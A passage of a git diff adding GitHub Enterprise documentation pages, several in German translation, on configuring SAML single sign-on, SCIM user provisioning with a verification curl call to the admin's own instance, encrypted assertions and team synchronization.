+You can enable or disable SAML authentication for {% data variables.location.product_location %}, or you can edit an existing configuration. You can view and edit authentication settings for {% data variables.product.product_name %} in the management console. For more information, see "[Accessing the management console](/admin/configuration/configuring-your-enterprise/accessing-the-management-console)."
+
+{% note %}
+
+**Note**: {% data reusables.enterprise.test-in-staging %}
+
+{% endnote %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.authentication %}
+1. Select **SAML**.
+   
+   ![Screenshot of option to enable SAML authentication in management console](/assets/images/enterprise/management-console/auth-select-saml.png)
+1. {% data reusables.enterprise_user_management.built-in-authentication-option %}
+
+   ![Screenshot of option to enable built-in authentication outside of SAML IdP](/assets/images/enterprise/management-console/saml-built-in-authentication.png)
+1. Optionally, to enable unsolicited response SSO, select **IdP initiated SSO**. By default, {% data variables.product.prodname_ghe_server %} will reply to an unsolicited Identity Provider (IdP) initiated request with an `AuthnRequest` back to the IdP.
+
+   ![Screenshot of option to enable IdP-initiated unsolicited response](/assets/images/enterprise/management-console/saml-idp-sso.png)
+
+   {% tip %}
+
+   **Note**: We recommend keeping this value **unselected**. You should enable this feature **only** in the rare instance that your SAML implementation does not support service provider initiated SSO, and when advised by {% data variables.contact.enterprise_support %}.
+
+   {% endtip %}
+
+1. Select **Disable administrator demotion/promotion** if you **do not** want your SAML provider to determine administrator rights for users on {% data variables.location.product_location %}.
+
+   ![Screenshot of option to enable option to respect the "administrator" attribute from the IdP to enable or disable administrative rights](/assets/images/enterprise/management-console/disable-admin-demotion-promotion.png)
+{%- ifversion ghes > 3.3 %}
+1. Optionally, to allow {% data variables.location.product_location %} to receive encrypted assertions from your SAML IdP, select **Require encrypted assertions**. You must ensure that your IdP supports encrypted assertions and that the encryption and key transport methods in the management console match the values configured on your IdP. You must also provide {% data variables.location.product_location %}'s public certificate to your IdP. For more information, see "[Enabling encrypted assertions](/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions)."
+
+   ![Screenshot of "Enable encrypted assertions" checkbox within management console's "Authentication" section](/assets/images/help/saml/management-console-enable-encrypted-assertions.png)
+{%- endif %}
+1. In the **Single sign-on URL** field, type the HTTP or HTTPS endpoint on your IdP for single sign-on requests. This value is provided by your IdP configuration. If the host is only available from your internal network, you may need to [configure {% data variables.location.product_location %} to use internal nameservers](/enterprise/admin/guides/installation/configuring-dns-nameservers/).
+
+   ![Screenshot of text field for single sign-on URL](/assets/images/enterprise/management-console/saml-single-sign-url.png)
+1. Optionally, in the **Issuer** field, type your SAML issuer's name. This verifies the authenticity of messages sent to {% data variables.location.product_location %}.
+
+   ![Screenshot of text field for SAML issuer URL](/assets/images/enterprise/management-console/saml-issuer.png)
+1. In the **Signature Method** and **Digest Method** drop-down menus, choose the hashing algorithm used by your SAML issuer to verify the integrity of the requests from {% data variables.location.product_location %}. Specify the format with the **Name Identifier Format** drop-down menu.
+
+   ![Screenshot of drop-down menus to select signature and digest method](/assets/images/enterprise/management-console/saml-method.png)
+1. Under **Verification certificate**, click **Choose File** and choose a certificate to validate SAML responses from the IdP.
+
+   ![Screenshot of button for uploading validation certificate from IdP](/assets/images/enterprise/management-console/saml-verification-cert.png)
+1. Modify the SAML attribute names to match your IdP if needed, or accept the default names.
+
+   ![Screenshot of fields for entering additional SAML attributes](/assets/images/enterprise/management-console/saml-attributes.png)
+
+{% elsif ghae %}
+
+## Enabling SAML SSO
+
+{% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
+
+The following IdPs provide documentation about configuring SAML SSO for {% data variables.product.product_name %}. If your IdP isn't listed, please contact your IdP to request support for {% data variables.product.product_name %}.
+
+ | IdP | More information |
+ | :- | :- |
+ | Azure AD | "[Configuring authentication and provisioning for your enterprise using Azure AD](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad)" |
+| Okta | "[Configuring authentication and provisioning for your enterprise using Okta](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta)" |
+
+During initialization for {% data variables.product.product_name %}, you must configure {% data variables.product.product_name %} as a SAML service provider (SP) on your IdP. You must enter several unique values on your IdP to configure {% data variables.product.product_name %} as a valid SP. For more information, see "[SAML configuration reference](/admin/identity-and-access-management/using-saml-for-enterprise-iam/saml-configuration-reference#saml-metadata)."
+
+## Editing the SAML SSO configuration
+
+If the details for your IdP change, you'll need to edit the SAML SSO configuration for {% data variables.location.product_location %}. For example, if the certificate for your IdP expires, you can edit the value for the public certificate.
+
+{% ifversion ghae %}
+
+{% note %}
+
+**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+
+{% endnote %} 
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. Under "SAML single sign-on", type the new details for your IdP.
+  ![Text entry fields with IdP details for SAML SSO configuration for an enterprise](/assets/images/help/saml/ae-edit-idp-details.png)
+1. Optionally, click {% octicon "pencil" aria-label="The edit icon" %} to configure a new signature or digest method.
+  ![Edit icon for changing signature and digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest.png)
+
+    - Use the drop-down menus and choose the new signature or digest method.
+      ![Drop-down menus for choosing a new signature or digest method](/assets/images/help/saml/ae-edit-idp-details-edit-signature-and-digest-drop-down-menus.png)
+1. To ensure that the information you've entered is correct, click **Test SAML configuration**.
+  !["Test SAML configuration" button](/assets/images/help/saml/ae-edit-idp-details-test-saml-configuration.png)
+1. Click **Save**.
+    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-edit-idp-details-save.png)
+1. Optionally, to automatically provision and deprovision user accounts for {% data variables.location.product_location %}, reconfigure user provisioning with SCIM. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+
+{% endif %}
+
+{% ifversion ghae %}
+
+## Disabling SAML SSO
+
+{% warning %}
+
+**Warning**: If you disable SAML SSO for {% data variables.location.product_location %}, users without existing SAML SSO sessions cannot sign into {% data variables.location.product_location %}. SAML SSO sessions on {% data variables.location.product_location %} end after 24 hours.
+
+{% endwarning %}
+
+{% note %}
+
+**Note**: {% data reusables.saml.contact-support-if-your-idp-is-unavailable %}
+
+{% endnote %}
+
+{% data reusables.enterprise-accounts.access-enterprise %}
+{% data reusables.enterprise-accounts.settings-tab %}
+{% data reusables.enterprise-accounts.security-tab %}
+1. Under "SAML single sign-on", unselect **Enable SAML authentication**.
+  ![Checkbox for "Enable SAML authentication"](/assets/images/help/saml/ae-saml-disabled.png)
+1. To disable SAML SSO and require signing in with the built-in user account you created during initialization, click **Save**.
+    !["Save" button for SAML SSO configuration](/assets/images/help/saml/ae-saml-disabled-save.png)
+
+{% endif %}
+
+{% endif %}
+
+{% ifversion ghec or ghes %}
+
+## Further reading
+
+{%- ifversion ghec %}
+- "[Managing SAML single sign-on for your organization](/organizations/managing-saml-single-sign-on-for-your-organization)"
+{%- endif %}
+{%- ifversion ghes %}
+- "[Promoting or demoting a site administrator](/admin/user-management/managing-users-in-your-enterprise/promoting-or-demoting-a-site-administrator)"
+{%- endif %}
+
+{% endif %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md
new file mode 100644
index 0000000000..354d942b86
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-with-scim-for-your-enterprise.md
@@ -0,0 +1,166 @@
+---
+title: Konfigurieren der Benutzerbereitstellung mit SCIM für dein Unternehmen
+shortTitle: Configure user provisioning
+intro: 'Du kannst System for Cross-Domain Identity Management (SCIM) für {% ifversion scim-for-ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} konfigurieren. Damit werden automatisch Benutzerkonten bereitgestellt, wenn du die Anwendung für {% ifversion scim-for-ghes %}deine Instanz{% elsif ghae %}{% data variables.product.product_name %}{% endif %} einem oder einer Benutzer*in auf deinem Identitätsanbieter (IdP) zuweist.'
+permissions: '{% ifversion scim-for-ghes %}Site administrators{% elsif ghae %}Enterprise owners{% endif %} can configure user provisioning for {% ifversion scim-for-ghes %}a {% data variables.product.product_name %} instance{% elsif ghae %}an enterprise on {% data variables.product.product_name %}{% endif %}.'
+versions:
+  ghae: '*'
+  feature: scim-for-ghes
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - SSO
+redirect_from:
+  - /admin/authentication/configuring-user-provisioning-for-your-enterprise
+  - /admin/identity-and-access-management/managing-iam-for-your-enterprise/configuring-user-provisioning-for-your-enterprise
+  - /admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-user-provisioning-for-your-enterprise
+ms.openlocfilehash: c330d8e375522901d2738b581a897d42d30d628e
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108495'
+---
+{% data reusables.scim.ghes-beta-note %}
+
+## Informationen zur Benutzerbereitstellung für {% data variables.product.product_name %}
+
+{% ifversion ghae %}
+
+{% data reusables.saml.ae-uses-saml-sso %} Weitere Informationen findest du unter [Konfigurieren von einmaligem Anmelden für SAML für dein Unternehmen](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise).
+
+{% endif %}
+
+{% ifversion scim-for-ghes %}Wenn du SAML-SSO (einmaliges Anmelden) für {% data variables.location.product_location %} verwendest,{% elsif ghae %}Du{% endif %} kannst SCIM so konfigurieren, dass Benutzerkonten automatisch erstellt oder gesperrt werden, und Zugriff{% ifversion scim-for-ghes %} auf deine Instanz{% elsif ghae %} für {% data variables.product.product_name %}{% endif %} gewähren, wenn du die Anwendung auf deinem IdP zuweist bzw. die Zuweisung aufhebst. Weitere Informationen zu SCIM findest du unter [System for Cross-Domain Identity Management: Protokoll (RFC 7644)](https://tools.ietf.org/html/rfc7644) auf der IETF-Website.
+
+Wenn du die Benutzerbereitstellung nicht mit SCIM konfigurierst, kommuniziert dein IdP nicht automatisch mit {% data variables.product.product_name %}, wenn du die Anwendung einem Benutzer zuweist oder die Zuweisung aufhebst. Ohne SCIM erstellt {% data variables.product.product_name %} ein Benutzerkonto mit SAML-JIT-Bereitstellung, wenn ein*e Benutzer*in zum ersten Mal zu {% data variables.product.product_name %} navigiert und sich mit Authentifizierung durch den IdP anmeldet.
+
+Durch das Konfigurieren der Bereitstellung kann dein IdP mit {% data variables.location.product_location %} kommunizieren, wenn du die Anwendung für {% data variables.product.product_name %} einem oder einer Benutzer*in auf deinem IdP zuweist oder die Zuweisung aufhebst. Wenn du die Anwendung zuweist, fordert der IdP {% data variables.location.product_location %} dazu auf, ein Konto zu erstellen und eine Onboarding-E-Mail an den oder die Benutzer*in zu senden. Wenn du die Zuweisung der Anwendung aufhebst, kommuniziert der IdP mit {% data variables.product.product_name %}, um SAML-Sitzungen ungültig zu machen und das Konto des Mitglieds zu deaktivieren.
+
+Zum Konfigurieren der Bereitstellung für dein Unternehmen musst du die Bereitstellung in {% data variables.product.product_name %} aktivieren und dann eine Bereitstellungsanwendung beim IdP installieren und konfigurieren.
+
+{% ifversion scim-for-ghes %}
+
+Die Bereitstellungsanwendung auf dem IdP kommuniziert über die SCIM-API mit {% data variables.product.product_name %}. Weitere Informationen findest du unter [SCIM](/rest/enterprise-admin/scim) in der REST-API-Dokumentation.
+
+{% endif %}
+
+## Informationen zu Identitäten und Ansprüchen
+
+Nachdem ein oder eine IdP-Administrator*in einer Person Zugriff auf {% data variables.location.product_location %}, kann sich der oder die Benutzer*in über den IdP authentifizieren, um mit SAML-SSO auf {% data variables.product.product_name %} zuzugreifen.
+
+Während der Authentifizierung {% ifversion scim-for-ghes %}versucht die Instanz{% elsif ghae %}{% data variables.product.product_name %}{% endif %}, den oder die Benutzer*in einer SAML-Identität zuzuordnen. Standardmäßig {% ifversion scim-for-ghes %}vergleicht die Instanz{% elsif ghae %}{% data variables.product.product_name %}{% endif %} den `NameID`-Anspruch des IdP mit dem Benutzernamen des Kontos. Für den Vergleich normalisiert {% data variables.product.product_name %} den Wert von `NameID`. Weitere Informationen zur Benutzernamennormalisierung findest du unter [Überlegungen zu Benutzernamen zur externen Authentifizierung](/admin/identity-and-access-management/managing-iam-for-your-enterprise/username-considerations-for-external-authentication#about-username-normalization).
+
+Wenn kein übereinstimmender Benutzername auf der Instanz vorhanden ist, erstellt die Instanz ein neues Konto für den oder die Benutzer*in. Wenn ein Konto mit übereinstimmendem Benutzernamen auf der Instanz vorhanden ist, wird der oder die Benutzer*in bei diesem Konto angemeldet.{% ifversion scim-for-ghes %} {% data variables.product.product_name %} vergleicht den Anspruch des IdP mit allen Konten auf der Instanz, unabhängig davon, ob sie über integrierte Authentifizierung verfügen oder bereits einer SAML-Identität zugeordnet sind.{% endif %}
+
+{% ifversion scim-for-ghes %}
+
+Beim Verwenden von SAML-SSO kann können Websiteadministrator*innen benutzerdefinierte Benutzerattribute für die Instanz konfigurieren. Ein benutzerdefiniertes Benutzernamenattribut ermöglicht es der Instanz, einen anderen Wert als `NameID` aus dem IdP zu verwenden. {% data variables.product.product_name %} berücksichtigt diese Zuordnung beim Konfigurieren von SCIM. Weitere Informationen zum Zuordnen von Benutzerattributen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für dein Unternehmen](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-saml-single-sign-on-for-your-enterprise#configuring-saml-sso).
+
+{% endif %}
+
+Wenn {% data variables.product.product_name %} einen oder eine Benutzer*in des IdP erfolgreich identifiziert, Kontodetails wie E-Mail-Adresse, Vorname oder Nachname jedoch nicht übereinstimmen, aktualisiert die Instanz diese mit Werten aus dem IdP.
+
+## Unterstützte Identitätsanbieter
+
+Die folgenden IdPs unterstützen die Benutzerbereitstellung mit SCIM für {% data variables.product.product_name %}.
+
+{% data reusables.saml.okta-ae-sso-beta %}
+
+{% data reusables.github-ae.saml-idp-table %}
+
+{% data reusables.scim.ghes-scim-beta-note %}
+
+{% data reusables.scim.ghes-scim-idp-table %}
+
+{% ifversion ghae %} Bei Identitätsanbietern, die Teamzuordnungen unterstützen, kannst du die Anwendung für {% data variables.product.product_name %} Benutzergruppen in deinem IdP zuweisen oder die Zuweisung aufheben. Diese Gruppen stehen dann Organisationsbesitzer*innen und Teambetreuer*innen in {% data variables.location.product_location %} zur Verfügung, sodass sie {% data variables.product.product_name %}-Teams zugeordnet werden können. Weitere Informationen findest du unter [Zuordnen von Okta-Gruppen zu Teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams).
+{% endif %}
+
+## Voraussetzungen
+
+{% ifversion ghae %}
+
+- Du musst SAML-SSO beim Initialisieren von {% data variables.product.product_name %} konfigurieren. Weitere Informationen findest du unter [Initialisieren von {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae).
+
+{% elsif scim-for-ghes %}
+
+- {% data reusables.saml.ghes-you-must-configure-saml-sso %}
+
+- Du musst die integrierte Authentifizierung für Benutzer*innen zulassen, die kein Konto auf deinem IdP haben. Weitere Informationen findest du unter [Zulassen der integrierten Authentifizierung für Benutzer*innen außerhalb deines Anbieters](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider).
+
+- Dein IdP muss SCIM-Aufrufe an einen Dienstanbieter (SP) unterstützen.
+
+{% endif %}
+
+- Du musst über administrative Zugriffsrechte auf dem IdP verfügen, um die Anwendung für die Benutzerbereitstellung für {% data variables.product.product_name %} konfigurieren zu können.
+
+## Aktivieren der Benutzerbereitstellung für dein Unternehmen
+
+{% ifversion scim-for-ghes %}
+
+Um Bereitstellungsaktionen auf deiner Instanz auszuführen, erstelle ein dediziertes Computerbenutzerkonto, und stufe es auf „Unternehmensbesitzer“ hoch.
+
+Nach dem Aktivieren von SCIM auf einer Instanz von {% data variables.product.product_name %} sind alle Benutzerkonten gesperrt. Wenn du den Benutzer*innen aus deinem IdP Zugriff auf deine Instanz gewährst und sie sich erfolgreich authentifizieren, werden ihre Konten entsperrt.
+
+{% endif %}
+
+{%- ifversion ghae %}
+1. Erstelle, während du bei {% data variables.location.product_location %} als Unternehmensbesitzer angemeldet bist, ein {% data variables.product.pat_v1 %} mit dem Umfang **admin:enterprise**. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token).
+  {% note %}
+
+  **Hinweise**:
+    - Zum Erstellen des {% data variables.product.pat_generic %} wird empfohlen, das Konto des ersten Unternehmensbesitzers zu verwenden, das während der Initialisierung erstellt wurde. Weitere Informationen findest du unter [Initialisieren von {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae).
+    - Du benötigst dieses {% data variables.product.pat_generic %} zum Konfigurieren der Anwendung für SCIM auf deinem IdP. Speichere das Token sicher in einem Kennwort-Manager, bis du das Token später in diesen Anweisungen erneut benötigst.
+
+  {% endnote %} {% warning %}
+
+  **Warnung:** Wenn das Benutzerkonto für die Unternehmensbesitzer*innen, die das{% data variables.product.pat_generic %} erstellen, deaktiviert ist bzw. wenn die Bereitstellung des Kontos aufgehoben wird, stellt dein IdP Benutzerkonten für dein Unternehmen nicht mehr automatisch bereit bzw. wird die Bereitstellung von Benutzerkonten nicht mehr automatisch aufgehoben. Ein anderer Unternehmensbesitzer muss ein neues {% data variables.product.pat_generic %} erstellen und die Bereitstellung auf dem IdP neu konfigurieren.
+
+  {% endwarning %} {%- elsif scim-for-ghes %}
+1. Erstelle ein dediziertes Computerbenutzerkonto, um Bereitstellungsaktionen auf deiner Instanz auszuführen. Weitere Informationen findest du unter [Zulassen der integrierten Authentifizierung für Benutzer*innen außerhalb deines Anbieters](/admin/identity-and-access-management/managing-iam-for-your-enterprise/allowing-built-in-authentication-for-users-outside-your-provider#inviting-users-outside-your-provider-to-authenticate-to-your-instance).
+1. Stufe das dedizierte Benutzerkonto auf „Unternehmensbesitzer“ hoch. Weitere Informationen findest du unter [Einladen von Personen zum Verwalten deines Unternehmens](/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise#adding-an-enterprise-administrator-to-your-enterprise-account).
+1. Melde dich bei deiner Instanz als neuer Unternehmensbesitzer an.
+1. Erstelle ein {% data variables.product.pat_v1 %} mit dem Umfang **admin:enterprise**. Weitere Informationen findest du unter [Erstellen eines {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token).
+
+   {% note %}
+
+   **Hinweis**: Sie benötigen dieses {% data variables.product.pat_generic %} zum Testen der SCIM-Konfiguration und Konfigurieren der Anwendung für SCIM auf deinem IdP. Speichere das Token sicher in einem Kennwort-Manager, bis du das Token später in diesen Anweisungen erneut benötigst.
+
+   {% endnote %} {% data reusables.enterprise_installation.ssh-into-instance %}
+1. Führe zum Aktivieren von SCIM die Befehle aus, die von deinem oder deiner Konto-Manager*in auf {% data variables.contact.contact_enterprise_sales %} bereitgestellt wurden.
+{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %}
+1. Um zu überprüfen, ob SCIM betriebsfähig ist, führe die folgenden Befehle aus. Ersetze _PAT AUS SCHRITT 3_ und _DEN HOSTNAMEN DEINER INSTANZ_ durch tatsächliche Werte.
+
+   ```shell
+   $ GHES_PAT="PAT FROM STEP 3"
+   $ GHES_HOSTNAME="YOUR INSTANCE'S HOSTNAME"
+   $ curl --location --request GET 'https://$GHES_HOSTNAME/api/v3/scim/v2/Users' \
+       --header 'Content-Type: application/scim' \
+       --header 'Authorization: Bearer $GHES_PAT'
+   ```
+   
+   Der Befehl sollte ein leeres Array zurückgeben.
+{%- endif %} {%- ifversion ghae %} {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.security-tab %}
+1. Wähle unter „SCIM User Provisioning“ (SCIM-Benutzerbereitstellung) die Option **Require SCIM user provisioning** (SCIM-Benutzerbereitstellung erforderlich) aus.
+  ![Kontrollkästchen für „Require SCIM user provisioning“ (SCIM-Benutzerbereitstellung erforderlich) in den Unternehmenssicherheitseinstellungen](/assets/images/help/enterprises/settings-require-scim-user-provisioning.png)
+1. Klicken Sie auf **Speichern**.
+  ![Schaltfläche „Speichern“ unter „SCIM-Benutzerbereitstellung erforderlich“ in den Unternehmenssicherheitseinstellungen](/assets/images/help/enterprises/settings-scim-save.png) {%- endif %}
+1. Konfiguriere die Benutzerbereitstellung in der Anwendung für {% data variables.product.product_name %} auf deinem IdP.
+
+  {%- ifversion ghae %} Die folgenden IdPs stellen Dokumentation zum Konfigurieren der Bereitstellung für {% data variables.product.product_name %} zur Verfügung. Wenn dein IdP nicht aufgeführt ist, wende dich an deinen IdP, um Unterstützung für {% data variables.product.product_name %} anzufordern.
+  {%- elsif scim-for-ghes %} {% data variables.product.company_short %} bietet Dokumentation zum Konfigurieren der Bereitstellung für die folgenden IdPs.{% endif %}
+
+  | IdP | Weitere Informationen |
+  | :- | :- |
+  | Azure AD | {% ifversion ghae %}[Tutorial: Konfigurieren von {% data variables.product.prodname_ghe_managed %} für die automatische Benutzerbereitstellung](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-provisioning-tutorial) in der Microsoft-Dokumentation. {% endif %}Informationen zum Konfigurieren von Azure AD für {% data variables.product.product_name %} findest du unter [Konfigurieren der Authentifizierung und Bereitstellung für dein Unternehmen mit Azure AD](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad). |
+| Okta | {% ifversion ghae %}(Beta){% endif %} Informationen zum Konfigurieren von Okta für {% data variables.product.product_name %} findest du unter [Konfigurieren der Authentifizierung und Bereitstellung für dein Unternehmen mit Okta](/admin/identity-and-access-management/using-saml-for-enterprise-iam/configuring-authentication-and-provisioning-for-your-enterprise-using-okta). |
+
+  Die Anwendung auf deinem IdP benötigt zwei Werte zum Bereitstellen von Benutzerkonten bzw. zum Aufheben der Bereitstellung für {% data variables.location.product_location %}.
+
+  | Wert | Andere Namen | BESCHREIBUNG | Beispiel |
+  | :- | :- | :- | :- |
+  | URL | Mandanten-URL | URL zur SCIM-Bereitstellungs-API für dein Unternehmen in {% data variables.product.prodname_ghe_managed %} | <nobr><code>{% data variables.product.api_url_pre %}/scim/v2</nobr></code> |
+  | Gemeinsamer geheimer Schlüssel | {% data variables.product.pat_generic_caps %}, Geheimnistoken | Token für die Anwendung auf deinem IdP zum Ausführen von Bereitstellungsaufgaben im Namen von Unternehmensbesitzer*innen | Das {% data variables.product.pat_generic_caps %}, das du in Schritt {% ifversion ghae %}1{% elsif scim-for-ghes %}4{% endif %} erstellt hast |
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md
new file mode 100644
index 0000000000..83a3c87b14
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/enabling-encrypted-assertions.md
@@ -0,0 +1,60 @@
+---
+title: Enabling encrypted assertions
+shortTitle: Enable encrypted assertions
+intro: 'You can improve {% data variables.location.product_location %}''s security with SAML single sign-on (SSO) by encrypting the messages that your SAML identity provider (IdP) sends.'
+permissions: 'Site administrators can configure encrypted assertions for a {% data variables.product.product_name %} instance.'
+versions:
+  ghes: '> 3.3'
+type: how_to
+topics:
+  - Accounts
+  - Authentication
+  - Enterprise
+  - Identity
+  - Security
+  - SSO
+---
+
+## About encrypted assertions
+
+If your IdP support encryption of assertions, you can configure encrypted assertions on {% data variables.product.product_name %} for increased security during the authentication process.
+
+## Prerequisites
+
+To enable encrypted assertions for authentication to {% data variables.product.product_name %}, you must configure SAML authentication, and your IdP must support encrypted assertions.
+
+## Enabling encrypted assertions
+
+To enable encrypted assertions, you must provide {% data variables.location.product_location %}'s public certificate to your IdP, and configure encryption settings that match your IdP.
+
+{% note %}
+
+**Note**: {% data reusables.enterprise.test-in-staging %}
+
+{% endnote %}
+
+1. Optionally, enable SAML debugging. SAML debugging records verbose entries in {% data variables.product.product_name %}'s authentication log, and may help you troubleshoot failed authentication attempts. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)."
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.authentication %}
+1. Select **Require encrypted assertions**.
+
+   ![Screenshot of "Enable encrypted assertions" checkbox within management console's "Authentication" section](/assets/images/help/saml/management-console-enable-encrypted-assertions.png)
+1. To the right of "Encryption Certificate", click **Download** to save a copy of {% data variables.location.product_location %}'s public certificate on your local machine.
+
+   ![Screenshot of "Download" button for public certificate for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-download-certificate.png)
+1. Sign into your SAML IdP as an administrator.
+1. In the application for {% data variables.location.product_location %}, enable encrypted assertions.
+   - Note the encryption method and key transport method.
+   - Provide the public certificate you downloaded in step 7.
+1. Return to the management console on {% data variables.location.product_location %}.
+1. To the right of "Encryption Method", select the encryption method for your IdP from step 9.
+
+   ![Screenshot of "Encryption Method" for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-encryption-method.png)
+1. To the right of "Key Transport Method", select the key transport method for your IdP from step 9.
+
+   ![Screenshot of "Key Transport Method" for encrypted assertions](/assets/images/help/saml/management-console-encrypted-assertions-key-transport-method.png)
+1. Click **Save settings**.
+{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %}
+
+If you enabled SAML debugging to test authentication with encrypted assertions, disable SAML debugging when you're done testing. For more information, see "[Troubleshooting SAML authentication](/admin/identity-and-access-management/using-saml-for-enterprise-iam/troubleshooting-saml-authentication#configuring-saml-debugging)."
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md
new file mode 100644
index 0000000000..0c1c0424f3
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/index.md
@@ -0,0 +1,42 @@
+---
+title: Verwenden von SAML for Enterprise IAM
+shortTitle: SAML for enterprise IAM
+intro: 'Du kannst {% ifversion ghes or ghae %}Konten und {% endif %}Zugriff auf {% ifversion ghes %}{% data variables.location.product_location %}{% elsif ghae %}dein Unternehmen{% elsif ghec %}deine Unternehmensressourcen{% endif %} mit SAML Single Sign-on (SSO){% ifversion ghec or ghae %} und System for Cross-domain Identity Management (SCIM){% endif %} zentral verwalten.'
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account
+  - /admin/authentication/managing-identity-and-access-for-your-enterprise
+  - /admin/identity-and-access-management/managing-iam-for-your-enterprise
+  - /admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider
+  - /enterprise/admin/articles/configuring-saml-authentication
+  - /enterprise/admin/articles/about-saml-authentication
+  - /enterprise/admin/user-management/using-saml
+  - /enterprise/admin/authentication/using-saml
+  - /admin/authentication/using-saml
+  - /enterprise/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-saml
+  - /admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml
+children:
+  - /about-saml-for-enterprise-iam
+  - /saml-configuration-reference
+  - /configuring-saml-single-sign-on-for-your-enterprise
+  - /configuring-user-provisioning-with-scim-for-your-enterprise
+  - /managing-team-synchronization-for-organizations-in-your-enterprise
+  - /configuring-saml-single-sign-on-for-your-enterprise-using-okta
+  - /configuring-authentication-and-provisioning-for-your-enterprise-using-azure-ad
+  - /configuring-authentication-and-provisioning-for-your-enterprise-using-okta
+  - /mapping-okta-groups-to-teams
+  - /enabling-encrypted-assertions
+  - /updating-a-users-saml-nameid
+  - /switching-your-saml-configuration-from-an-organization-to-an-enterprise-account
+  - /troubleshooting-saml-authentication
+ms.openlocfilehash: 2a843afa6f5447b9048ef2efbd03dee9e9b856d8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148107013'
+---
+{% data reusables.enterprise-accounts.emu-saml-note %}
diff --git a/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md
new file mode 100644
index 0000000000..462816e88c
--- /dev/null
+++ b/translations/de-DE/content/admin/identity-and-access-management/using-saml-for-enterprise-iam/managing-team-synchronization-for-organizations-in-your-enterprise.md
@@ -0,0 +1,58 @@
+---
+title: Managing team synchronization for organizations in your enterprise
+intro: 'You can enable team synchronization between Azure AD and {% data variables.product.product_name %} to allow organizations owned by your enterprise account to manage team membership through IdP groups.'
+permissions: Enterprise owners can manage team synchronization for an enterprise account.
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Enterprise
+  - SSO
+  - Teams
+redirect_from:
+  - /github/setting-up-and-managing-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise-account
